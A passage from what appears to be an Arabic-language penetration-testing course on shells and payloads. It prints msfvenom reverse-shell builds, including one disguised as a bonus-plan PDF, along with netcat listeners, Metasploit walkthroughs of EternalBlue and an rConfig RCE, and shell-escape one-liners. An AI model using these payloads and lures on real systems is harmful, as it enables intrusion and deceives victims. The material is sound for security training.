osx/armle/vibrate Causes the iPhone to
vibrate, only works when the AudioToolkit library has been loaded. Based
on work by Charlie Miller
library has been loaded. Based on work by Charlie Miller
محتوى
windows/dllinject/bind_hidden_tcp Inject a DLL via a
reflective loader. Listen for a connection from a hidden port and spawn a
command shell to the allowed host.
windows/dllinject/bind_ipv6_tcp Inject a DLL via a
reflective loader. Listen for an IPv6 connection (Windows x86)
windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a
reflective loader. Listen for an IPv6 connection with UUID Support
(Windows x86)
windows/dllinject/bind_named_pipe Inject a DLL via a
reflective loader. Listen for a pipe connection (Windows x86)
windows/dllinject/bind_nonx_tcp Inject a DLL via a
reflective loader. Listen for a connection (No NX)
windows/dllinject/bind_tcp Inject a DLL via a
reflective loader. Listen for a connection (Windows x86)
windows/dllinject/bind_tcp_rc4 Inject a DLL via a
reflective loader. Listen for a connection
windows/dllinject/bind_tcp_uuid Inject a DLL via a
reflective loader. Listen for a connection with UUID Support (Windows x86)
windows/dllinject/find_tag Inject a DLL via a
reflective loader. Use an established connection
windows/dllinject/reverse_hop_http Inject a DLL via a
reflective loader. Tunnel communication over an HTTP or HTTPS hop point.
Note that you must first upload data/hop
 /hop.php to the
PHP server you wish to use as a hop.
windows/dllinject/reverse_http Inject a DLL via a
reflective loader. Tunnel communication over HTTP (Windows wininet)
windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a
reflective loader. Tunnel communication over HTTP
windows/dllinject/reverse_ipv6_tcp Inject a DLL via a
reflective loader. Connect back to the attacker over IPv6
windows/dllinject/reverse_nonx_tcp Inject a DLL via a
reflective loader. Connect back to the attacker (No NX)
windows/dllinject/reverse_ord_tcp Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_allports Inject a DLL via a
reflective loader. Try to connect back to the attacker, on all possible
ports (1-65535, slowly)
windows/dllinject/reverse_tcp_dns Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4 Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a
reflective loader. Connect back to the attacker
windows/dllinject/reverse_tcp_uuid Inject a DLL via a
reflective loader. Connect back to the attacker with UUID Support
windows/dllinject/reverse_winhttp Inject a DLL via a
reflective loader. Tunnel communication over HTTP (Windows winhttp)
محتوى
What do you notice about the output?

من الـ output تلاحظ إن الـ payloads مقسمة حسب النظام (Linux، Windows، macOS، mainframe...)، وفيه payloads موصوفة بـ staged وstageless.

Staged مقابل Stageless

التمييز سهل من الاسم: windows/meterpreter/reverse_tcp (بشرطة مائلة بين meterpreter وreverse) = staged، وwindows/meterpreter_reverse_tcp = stageless.

الخلاصة

staged = stager صغير + stage كبير. stageless = ملف واحد. الـ stageless أسهل في التوصيل وأكبر في الحجم؛ الـ staged أخف في البداية بس محتاج اتصال مستقر.

بناء Stageless Payload

Build It

أمر ونتيجته
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f
elf > createbackup.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from
the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes

نفكك الأمر:

Call MSFvenom

الأمر
msfvenom

الأداة اللي بتصنع الـ payload.

Creating a Payload

محتوى
-p

-p معناها إنك بتعمل payload.

Choosing the Payload based on Architecture

محتوى
linux/x64/shell_reverse_tcp

payload لـ Linux 64-bit، stageless، بيفتح reverse shell على TCP.

Address To Connect Back To

محتوى
LHOST=10.10.14.113 LPORT=443

الـ IP والبورت اللي الـ payload هيتصل بيهم (جهازك).

Format To Generate Payload In

محتوى
-f elf

-f بتحدد صيغة الملف الناتج، وهنا .elf.

Output

الأمر
> createbackup.elf

بيحفظ الملف باسم createbackup. الاسم مهم: خليه يبان طبيعي ومش مثير للشك.

تشغيل الـ Stageless Payload

بعد ما الـ payload اتعمل على جهازك، لازم توصله للهدف. الطرق:

وبعد التوصيل لازم تشغله. تخيل الهدف جهاز Ubuntu لمستخدم IT بيدير أجهزة الشبكة:

Ubuntu payload
ملف الـ payload على جهاز Ubuntu (صورة الموديول).

NC Connection

الأمر
sudo nc -lvnp 443

Connection Established

أمر ونتيجته
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.138.85 60892
env
PWD=/home/htb-student/Downloads
cd ..
أمر ونتيجته
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

نفس الفكرة بتنفع على Windows:

Stageless Payload لـ Windows

Windows Payload

أمر ونتيجته
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe
> BonusCompensationPlanpdf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

نفس الشرح بالظبط، الفرق في الـ platform والصيغة (exe) والاسم اللي بيوهم الضحية (BonusCompensationPlanpdf.exe).

تشغيل الـ Payload على Windows

نفس مشكلة التوصيل. بعد ما الملف يوصل والـ AV متوقف، الضحية بتدوس دبل كليك وبيتنفذ:

Windows payload
ملف exe على Windows (صورة الموديول).
أمر ونتيجته
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.144.5 49679
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\htb-student\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is DD25-26EB
Directory of C:\Users\htb-student\Downloads
09/23/2021 10:26 AM <DIR> .
09/23/2021 10:26 AM <DIR> ..
09/23/2021 10:26 AM 73,802 BonusCompensationPlanpdf.exe
 1 File(s) 73,802 bytes
 2 Dir(s) 9,997,516,800 bytes free

09الدخول على Windows

مايكروسوفت مسيطرة على سوق الأجهزة الشخصية والشركات، وده بيخليها هدف أساسي. في آخر 5 سنين بس اتسجل 3688 ثغرة في منتجات مايكروسوفت، ومعظمها بتتحول لـ exploit بسرعة.

Windows vulnerabilities
إحصائية ثغرات Windows (صورة الموديول).

أشهر ثغرات Windows

الثغرةالوصف
MS08-067ثغرة SMB خطيرة اتسببت في تحديث إجباري لنسخ Windows كتير. سهلت الدخول جدا لدرجة إن دودة Conficker كانت بتستخدمها، وحتى Stuxnet استغلتها.
Eternal Blue (MS17-010)exploit مسرب من Shadow Brokers (NSA)، استخدم في WannaCry وNotPetya. بيستغل خلل في SMBv1 لتنفيذ كود. أصاب أكثر من 200,000 جهاز في 2017 بس، ولسه طريقة شائعة للدخول.
PrintNightmareRCE في Windows Print Spooler. ببيانات دخول صالحة أو شل بصلاحيات منخفضة، تقدر تضيف printer وdriver ينفذ كود وتاخد صلاحيات SYSTEM (فيه تحليل مشهور للثغرة عند 0xdf).
BlueKeep (CVE-2019-0708)ثغرة في RDP بتسمح بتنفيذ كود عن بعد بسبب channel غلط، وأثرت على كل نسخ Windows من 2000 لحد Server 2008 R2.
Sigred (CVE-2020-1350)خلل في قراءة DNS SIG records. أعقد من غيرها، لكن لو نجحت بتديك Domain Admin لأنك بتضرب DNS server اللي غالبا هو الـ DC.
SeriousSam (CVE-2021-36924)خلل في صلاحيات مجلد C:\Windows\system32\config، فمستخدم غير مرتفع يقدر يوصل لـ SAM database. خطير خصوصا مع volume shadow copies لأن نفس الغلطة موجودة في النسخ الاحتياطية، فتسحب الـ SAM وتفضي credentials.
Zerologon (CVE-2020-1472)خلل تشفير في Netlogon (MS-NRPC) في Active Directory. بيسمح بتسجيل دخول بـ NTLM وإرسال تغييرات حسابات. التنفيذ بسيط: حوالي 256 تخمين على باسورد حساب كمبيوتر، وده ثواني.
ملاحظة

القائمة دي للسياق، مش للتحفيظ. اللي يهمك: إزاي تحدد نسخة النظام، وإزاي تدور على الثغرة المناسبة ليها.

الـ Enumeration وfingerprinting

المفروض تكون خلصت مرحلة الـ enumeration وعارف الخدمات المفتوحة. السؤال: إزاي تعرف إن الجهاز Windows؟

Pinged Host

أمر ونتيجته
ping 192.168.86.39
PING 192.168.86.39 (192.168.86.39): 56 data bytes
64 bytes from 192.168.86.39: icmp_seq=0 ttl=128 time=102.920 ms
64 bytes from 192.168.86.39: icmp_seq=1 ttl=128 time=9.164 ms
64 bytes from 192.168.86.39: icmp_seq=2 ttl=128 time=14.223 ms
64 bytes from 192.168.86.39: icmp_seq=3 ttl=128 time=11.265 ms

وطريقة أدق: Nmap ببصمة الـ OS.

OS Detection Scan

أمر ونتيجته
sudo nmap -v -O 192.168.86.39
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 17:40 EDT
Initiating ARP Ping Scan at 17:40
Scanning 192.168.86.39 [1 port]
Completed ARP Ping Scan at 17:40, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:40
Completed Parallel DNS resolution of 1 host. at 17:40, 0.02s elapsed
Initiating SYN Stealth Scan at 17:40
Scanning desktop-jba7h4t.lan (192.168.86.39) [1000 ports]
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Completed SYN Stealth Scan at 17:40, 1.54s elapsed (1000 total ports)
Initiating OS detection (try #1) against desktop-jba7h4t.lan
(192.168.86.39)
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.010s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)
Device type: general purpose
Running: Microsoft Windows 10
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
Network Distance: 1 hop

Nmap بيخمن النسخة من مؤشرات كتير في الـ TCP/IP stack. لو النتائج ضعيفة، جرب تاني بـ -A و-Pn (بس خد بالك إن -A أعلى صوتا وأسهل في الاكتشاف).

Banner Grab to Enumerate Ports

أمر ونتيجته
sudo nmap -v 192.168.86.39 --script banner.nse
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-20 18:01 EDT
NSE: Loaded 1 scripts for scanning.
<snip>
Discovered open port 135/tcp on 192.168.86.39
Discovered open port 139/tcp on 192.168.86.39
Discovered open port 445/tcp on 192.168.86.39
Discovered open port 443/tcp on 192.168.86.39
Discovered open port 912/tcp on 192.168.86.39
Discovered open port 902/tcp on 192.168.86.39
Completed SYN Stealth Scan at 18:01, 1.46s elapsed (1000 total ports)
NSE: Script scanning 192.168.86.39.
Initiating NSE at 18:01
Completed NSE at 18:01, 20.11s elapsed
Nmap scan report for desktop-jba7h4t.lan (192.168.86.39)
Host is up (0.012s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, Se
|_rverDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supported/t
912/tcp open apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:SOAP, MKSDisplayProtocol:VNC , ,
MAC Address: DC:41:A9:FB:BA:26 (Intel Corporate)

DLLs وBatch وMSI

أشكال الـ payloads على Windows:

أدوات وتكتيكات توليد وتوصيل الـ Payloads

المصدرالوصف
MSFVenom & Metasploit-Frameworkأداة متعددة الاستخدامات: enumeration، توليد payloads، exploits جاهزة ومخصصة، وpost-exploitation. زي السكين السويسري.
Payloads All The Thingsمصدر كبير فيه cheat sheets لتوليد الـ payloads والمنهجية العامة.
Mythic C2 Frameworkبديل لـ Metasploit كـ C2 framework وتوليد payloads مختلفة.
Nishangمجموعة Offensive PowerShell implants وسكربتات.
Darkarmourأداة لتوليد واستخدام binaries مشفرة (obfuscated) لـ Windows.

أما التوصيل والتنفيذ:

مثال كامل للاختراق (Compromise Walkthrough)

  1. Enumeration: ping، netcat، nmap، وحتى Metasploit.
  2. تحديد مسار الـ exploit.
  3. اختيار الـ exploit والـ payload وتوصيله.
  4. تنفيذ الهجوم واستقبال الـ callback.
  5. تحديد الشل الأصلي على النظام.

Enumerate the Host

أمر ونتيجته
nmap -v -A 10.129.201.97
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 18:13 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Discovered open port 135/tcp on 10.129.201.97
Discovered open port 80/tcp on 10.129.201.97
Discovered open port 445/tcp on 10.129.201.97
Discovered open port 139/tcp on 10.129.201.97
Completed Connect Scan at 18:13, 12.76s elapsed (1000 total ports)
Completed Service scan at 18:13, 6.62s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.201.97.
محتوى
Nmap scan report for 10.129.201.97
Host is up (0.13s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: 10.129.201.97 - /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE:
cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m30s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard
6.3)
| Computer name: SHELLS-WINBLUE
| NetBIOS computer name: SHELLS-WINBLUE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-27T15:13:28-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-27T22:13:30
|_ start_date: 2021-09-23T15:29:29

من الفحص: IIS على بورت 80 (يعني Windows)، وSMB على 445، ونسخة النظام. النتيجة دي بتأكد إن الجهاز مصاب بـ MS17-010 لأن نسخته في النطاق المتأثر.

Determine an Exploit Path

نفتح msfconsole ونستخدم module الفحص أولا (auxiliary) قبل الاستغلال:

أمر ونتيجته
msf6 auxiliary(scanner/smb/smb_ms17_010) > use
auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 CHECK_ARCH true no Check for
architecture on vulnerable hosts
 CHECK_DOPU true no Check for
DOUBLEPULSAR on vulnerable hosts
 CHECK_PIPE false no Check for named
pipe on vulnerable hosts
 NAMED_PIPES /usr/share/metasploit-framewor yes List of named
pipes to check
 k/data/wordlists/named_pipes.t
 xt
 RHOSTS yes The target
host(s), range CIDR identifier, or hosts f
 ile with syntax
'file:<path>'
 RPORT 445 yes The SMB service
port (TCP)
 SMBDomain . no The Windows
domain to use for authentication
 SMBPass no The password for
the specified username
 SMBUser no The username to
authenticate as
 THREADS 1 yes The number of
concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.129.201.97
محتوى
RHOSTS => 10.129.201.97
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.129.201.97:445 - Host is likely VULNERABLE to MS17-010! -
Windows Server 2016 Standard 14393 x64 (64-bit)
[*] 10.129.201.97:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

الـ check بيقول إن الهدف مرجح يكون مصاب: Windows Server 2016 Standard 14393 x64.

Choose & Configure Our Exploit & Payload

أمر ونتيجته
msf6 > search eternal
Matching Modules
================
 # Name Disclosure Date Rank
Check Description
 - ---- --------------- ----
----- -----------
 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14
average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool
Corruption
 1 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14
average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool
Corruption for Win8+
 2 exploit/windows/smb/ms17_010_psexec 2017-03-14
normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Code Execution
 3 auxiliary/admin/smb/ms17_010_command 2017-03-14
normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Command Execution
 4 auxiliary/scanner/smb/smb_ms17_010
normal No MS17-010 SMB RCE Detection
 5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14
great Yes SMB DOUBLEPULSAR Remote Code Execution

Configure The Exploit & Payload

أمر ونتيجته
msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
 Name Current Setting Required
Description
 ---- --------------- -------- ----------
-
 DBGTRACE false yes Show extra
debug trace info
 LEAKATTEMPTS 99 yes How many
times to try to leak transaction
 NAMEDPIPE no A named
pipe that can be connected to (leave bl
 ank for
auto)
 NAMED_PIPES /usr/share/metasploit-frame yes List of
named pipes to check
 work/data/wordlists/named_p
 ipes.txt
 RHOSTS yes The target
host(s), range CIDR identifier, or h
 osts file
with syntax 'file:<path>'
 RPORT 445 yes The Target
port (TCP)
 SERVICE_DESCRIPTION no Service
description to to be used on target for
 pretty
listing
 SERVICE_DISPLAY_NAME no The
service display name
 SERVICE_NAME no The
service name
 SHARE ADMIN$ yes The share
to connect to, can be an admin share

(ADMIN$,C$,...) or a normal read/write folder s
 hare
 SMBDomain . no The
Windows domain to use for authentication
 SMBPass no The
password for the specified username
 SMBUser no The
username to authenticate as

Validate Our Options

محتوى
Payload options (windows/meterpreter/reverse_tcp):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
 LHOST 192.168.86.48 yes The listen address (an interface
may be specified)
 LPORT 4444 yes The listen port
أمر ونتيجته
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
 Name Current Setting Required
Description
 ---- --------------- -------- ----------
-
 DBGTRACE false yes Show extra
debug trace info
 LEAKATTEMPTS 99 yes How many
times to try to leak transaction
 NAMEDPIPE no A named
pipe that can be connected to (leave bl
 ank for
auto)
 NAMED_PIPES /usr/share/metasploit-frame yes List of
named pipes to check
 work/data/wordlists/named_p
 ipes.txt
 RHOSTS 10.129.201.97 yes The target
host(s), range CIDR identifier, or h
 osts file
with syntax 'file:<path>'
 RPORT 445 yes The Target
port (TCP)
 SERVICE_DESCRIPTION no Service
description to to be used on target for
 pretty
محتوى
listing
 SERVICE_DISPLAY_NAME no The
service display name
 SERVICE_NAME no The
service name
 SHARE ADMIN$ yes The share
to connect to, can be an admin share

(ADMIN$,C$,...) or a normal read/write folder s
 hare
 SMBDomain . no The
Windows domain to use for authentication
 SMBPass no The
password for the specified username
 SMBUser no The
username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
 LHOST 10.10.14.12 yes The listen address (an interface
may be specified)
 LPORT 4444 yes The listen port

هنا استخدمنا windows/meterpreter/reverse_tcp كـ payload، وADMIN$ كـ share.

Execute Our Attack

أمر ونتيجته
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] 10.129.201.97:445 - Target OS: Windows Server 2016 Standard 14393
[*] 10.129.201.97:445 - Built a write-what-where primitive...
[+] 10.129.201.97:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.201.97:445 - Selecting PowerShell target
[*] 10.129.201.97:445 - Executing the payload...
[+] 10.129.201.97:445 - Service start timed out, OK if running a command
or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.201.97
محتوى
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.129.201.97:50215)
at 2021-09-27 18:58:00 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

وصلنا: NT AUTHORITY\SYSTEM، يعني أعلى صلاحية على الجهاز.

Identify Our Shell

أمر ونتيجته
meterpreter > shell
Process 4844 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
الخلاصة

الترتيب اللي بيشتغل: enumerate، افحص بـ auxiliary check، اختار exploit وpayload، اضبط الخيارات، تحقق بـ show options، نفذ، وادخل شل النظام. نفس الترتيب في أي مهمة.


10CMD وPowerShell

على Windows عندك شلين جاهزين. السؤال:

محتوى
Which one is the right one to use?

الإجابة: اللي يديك القدرات اللي محتاجها. الـ CMD هو شل MS-DOS الأصلي، قديم ومحدود لكنه موجود في كل نسخة. وUser Account Control (UAC) ممكن يمنع تنفيذ أوامر وسكربتات.

استخدم CMD لمااستخدم PowerShell لما
الجهاز قديم وممكن يكون من غير PowerShellمحتاج cmdlets أو سكربتات مخصصة
محتاج تفاعل بسيط مع الجهازمحتاج تتعامل مع كائنات .NET بدل نص
هتستخدم batch files أو net أو أوامر MS-DOSالخفاء (stealth) أقل أهمية
execution policies ممكن تمنع السكربتاتمحتاج تتعامل مع خدمات سحابية أو Aliases

WSL وPowerShell Core على Linux

Windows Subsystem for Linux بيخليك تشغل بيئة Linux جوه Windows. وPowerShell Core نسخة مفتوحة المصدر شغالة على Linux وmacOS. المعنى الأمني: نفس أدوات الهجوم ممكن تلاقيها على أنظمة مختلفة، ومهارتك في شل واحد بتنقلك للتاني بسرعة.


11الدخول على Unix/Linux

حسب إحصاءات W3Techs، نسبة كبيرة من مواقع الويب (webservers) شغالة على أنظمة Unix، وده بيخلي Linux هدف أساسي في اختبارات الويب.

اعتبارات قبل الهجوم

شل من استغلال تطبيق مصاب

Enumerate the Host

أمر ونتيجته
nmap -sC -sV 10.129.201.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-27 09:09 EDT
Nmap scan report for 10.129.201.101
Host is up (0.11s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2d:b2:23:75:87:57:b9:d2:dc:88:b9:f4:c1:9e:36:2a (RSA)
| 256 c4:88:20:b0:22:2b:66:d0:8e:9d:2f:e5:dd:32:71:b1 (ECDSA)
|_ 256 e3:2a:ec:f0:e4:12:fc:da:cf:76:d5:43:17:30:23:27 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
PHP/7.2.34)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
|_http-title: Did not follow redirect to https://10.129.201.101/
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips
PHP/7.2.34)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOr
محتوى
ProvinceName=SomeState/countryName=--
| Not valid before: 2021-09-24T19:29:26
|_Not valid after: 2022-09-24T19:29:26
|_ssl-date: TLS randomness does not represent time
3306/tcp open mysql MySQL (unauthorized)
محتوى
What information could we gather from the output?

من الـ output: بورت 80 (HTTP)، 22 (SSH)، 3306 (MySQL)، 21 (FTP). الشكل ده يوحي بـ web server عليه تطبيق PHP وMySQL، والنظام غالبا CentOS.

بفتح الموقع نلاقي أداة إدارة إعدادات الشبكة rConfig:

rConfig login
صفحة تسجيل الدخول في rConfig (صورة الموديول).

rConfig أداة بتخلي الـ admins ياخدوا نسخ احتياطية من إعدادات أجهزة الشبكة (switches، routers). الجهاز ده لو اتخترق، المهاجم يقدر يقرأ إعدادات كل الشبكة.

اكتشاف ثغرة في rConfig

في آخر صفحة تسجيل الدخول فيه رقم إصدار الأداة. بندور عليه في مصادر الثغرات وPoCs:

rConfig exploit
نتائج البحث عن ثغرة rConfig (صورة الموديول).

وكمان نجرب البحث داخل Metasploit:

Search For an Exploit Module

أمر ونتيجته
msf6 > search rconfig
Matching Modules
================
 # Name Disclosure Date
Rank Check Description
 - ---- --------------- --
-- ----- -----------
 0 exploit/multi/http/solr_velocity_rce 2019-10-29
excellent Yes Apache Solr Remote Code Execution via Velocity Template
 1 auxiliary/gather/nuuo_cms_file_download 2018-10-11
normal No Nuuo Central Management Server Authenticated Arbitrary
File Download
 2 exploit/linux/http/rconfig_ajaxarchivefiles_rce 2020-03-11
good Yes Rconfig 3.x Chained Remote Code Execution
 3 exploit/unix/webapp/rconfig_install_cmd_exec 2019-10-28
excellent Yes rConfig install Command Execution
ملاحظة

لو الـ module مش موجود في نسختك، بتقدر تنزله من GitHub كملف rconfig_vendors_auth_file_upload_rce.rb وتحطه في مجلد الـ exploits، وبعدها تشغله من msfconsole. لازم تعرف مسار المجلدات:

Locate

محتوى
github
الأمر
locate exploits
الأمر
/usr/share/metasploit-framework/modules/exploits

بتحط الملف في /usr/share/metasploit-framework/modules/exploits/linux/http زي باقي الموديولات، وبتعمل reload للـ msfconsole.

استخدام ثغرة rConfig والوصول لشل

Select an Exploit

الأمر
msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce

بعد ما تختار الـ module، اطبع options واضبط الإعدادات المطلوبة (RHOSTS، LHOST، بيانات الدخول).

Execute the Exploit

أمر ونتيجته
msf6 exploit(linux/http/rconfig_vendors_auth_file_upload_rce) > exploit
[*] Started reverse TCP handler on 10.10.14.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] 3.9.6 of rConfig found !
[+] The target appears to be vulnerable. Vulnerable version of rConfig
found !
[+] We successfully logged in !
[*] Uploading file 'olxapybdo.php' containing the payload...
[*] Triggering the payload ...
[*] Sending stage (39282 bytes) to 10.129.201.101
[+] Deleted olxapybdo.php
[*] Meterpreter session 1 opened (10.10.14.111:4444 ->
10.129.201.101:38860) at 2021-09-27 13:49:34 -0400
meterpreter > dir
Listing: /home/rconfig/www/images/vendor
========================================
محتوى
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 673 fil 2020-09-03 05:49:58 -0400 ajax-loader.gif
100644/rw-r--r-- 1027 fil 2020-09-03 05:49:58 -0400 cisco.jpg
100644/rw-r--r-- 1017 fil 2020-09-03 05:49:58 -0400 juniper.jpg

خطوات الـ exploit بالترتيب:

Interact With the Shell

أمر ونتيجته
meterpreter > shell
Process 3958 created.
Channel 0 created.
dir
ajax-loader.gif cisco.jpg juniper.jpg
ls
ajax-loader.gif
cisco.jpg
juniper.jpg

TTY Shell بـ Python

لما بندخل شل النظام، بنلاقي مفيش prompt، ومش بنعرف مين المستخدم. وده طبيعي لأن الشل اللي اتفتح غير تفاعلي (non-TTY). إحنا شغالين كـ apache، فمحتاجين TTY حقيقي عشان الأوامر التفاعلية تظبط.

Interactive Python

أمر ونتيجته
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.2$
sh-4.2$ whoami
whoami
apache

الأمر بيستورد موديول pty ويستخدم pty.spawn يفتح /bin/sh تفاعلي، وبعدها whoami بيرجع apache.

محتوى
Now, let's test our knowledge with some challenge questions.
ملاحظة

من غير TTY: sudo -l وsu وأدوات فيها واجهة نصية مش هيشتغلوا صح. لو Python مش موجود، استخدم أي لغة تانية على النظام (الجزء الجاي).


12فتح Interactive Shells

ممكن توصل لنظام فيه شل محدود (restricted) أو مفيش فيه bash. القاعدة: لو شفت /bin/sh أو /bin/bash، فيه شل موجود، والهدف إنك تفتح واحد تفاعلي بأي لغة متاحة.

/bin/sh -i

Interactive

محتوى
/bin/sh -i
sh: no job control in this shell
sh-4.2$

Perl

Perl To Shell

أمر ونتيجته
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ملاحظة

الأمر ده (وأمثاله تحت) بيتشغل من داخل سكربت، مش من سطر الأوامر مباشرة.

Ruby

Ruby To Shell

محتوى
ruby: exec "/bin/sh"

Lua

Lua To Shell

محتوى
lua: os.execute('/bin/sh')

AWK

AWK لغة معالجة نصوص موجودة في أغلب أنظمة Unix:

AWK To Shell

الأمر
awk 'BEGIN {system("/bin/sh")}'

Find

Using Find For A Shell

الأمر
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

find بيدور على الملف المحدد وينفذ awk عليه، والـ awk بيفتح شل.

الـ Exec لفتح شل

الأمر
find . -exec /bin/sh \; -quit

هنا -exec بينفذ /bin/sh على أي ملف، و-quit بيوقفه بعد أول نتيجة.

VIM

Vim To Shell

الأمر
vim -c ':!/bin/sh'

Vim Escape

أمر ونتيجته
vim
:set shell=/bin/sh
:shell

جوه vim: :set shell=/bin/sh بيحدد الشل، و:shell بيفتحه.

اعتبارات الصلاحيات

قبل ما تجرب أي طريقة، اتأكد إن الملف قابل للتنفيذ:

Permissions

الأمر
ls -la <path/to/fileorbinary>

